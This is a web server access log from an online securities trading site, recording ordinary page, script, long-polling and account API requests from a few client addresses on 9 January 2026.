[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 2
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767942197639 HTTP/1.1" 3188
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 118
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:14:58:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:14:58:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:58:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 18
[09/Jan/2026:14:58:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:58:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:14:58:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/applet_dummy.html HTTP/1.1" 330
[09/Jan/2026:14:58:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:58:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:14:58:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:58:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942197533 HTTP/1.1" -
[09/Jan/2026:14:58:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:58:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:58:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:58:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Home/PostToAA.jsp?hl=tc HTTP/1.1" 287
[09/Jan/2026:14:58:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/multi_currency_balance.html HTTP/1.1" 295
[09/Jan/2026:14:58:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_222222_256x240.png HTTP/1.1" 6922
[09/Jan/2026:14:58:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/trade_point01.jpg HTTP/1.1" 358
[09/Jan/2026:14:58:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:14:58:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_flat_75_ffffff_40x100.png HTTP/1.1" 208
[09/Jan/2026:14:58:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:58:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:58:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:58:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:58:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942198730 HTTP/1.1" -
[09/Jan/2026:14:58:50 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:58:50 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfo HTTP/1.1" 205
[09/Jan/2026:14:58:50 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:58:50 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/account_status.html HTTP/1.1" 426
[09/Jan/2026:14:58:50 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:58:50 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:58:50 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:58:50 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:58:50 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:58:50 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LongPollingConfig HTTP/1.1" 4
[09/Jan/2026:14:58:50 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:58:50 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:58:50 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942200233 HTTP/1.1" -
[09/Jan/2026:14:58:50 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1308
[09/Jan/2026:14:58:50 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942206157 HTTP/1.1" -
[09/Jan/2026:14:58:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942216251 HTTP/1.1" -
[09/Jan/2026:14:58:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:58:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:58:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942202568 HTTP/1.1" -
[09/Jan/2026:14:58:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:58:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:58:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:58:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:58:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942203957 HTTP/1.1" -
[09/Jan/2026:14:58:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942205262 HTTP/1.1" -
[09/Jan/2026:14:58:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942211255 HTTP/1.1" -
[09/Jan/2026:14:58:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:58:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:58:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942221273 HTTP/1.1" -
[09/Jan/2026:14:58:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942207589 HTTP/1.1" -
[09/Jan/2026:14:59:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942209022 HTTP/1.1" -
[09/Jan/2026:14:59:00 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942210343 HTTP/1.1" -
[09/Jan/2026:14:59:00 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942216280 HTTP/1.1" -
[09/Jan/2026:14:59:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942226347 HTTP/1.1" -
[09/Jan/2026:14:59:01 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_888888_256x240.png HTTP/1.1" 6999
[09/Jan/2026:14:59:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:59:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/sell_ticket.html? HTTP/1.1" 2261
[09/Jan/2026:14:59:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:59:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:59:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:59:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:59:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942212613 HTTP/1.1" -
[09/Jan/2026:14:59:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:59:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:59:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942214227 HTTP/1.1" -
[09/Jan/2026:14:59:05 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942215425 HTTP/1.1" -
[09/Jan/2026:14:59:05 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942221347 HTTP/1.1" -
[09/Jan/2026:14:59:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942231371 HTTP/1.1" -
[09/Jan/2026:14:59:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942217666 HTTP/1.1" -
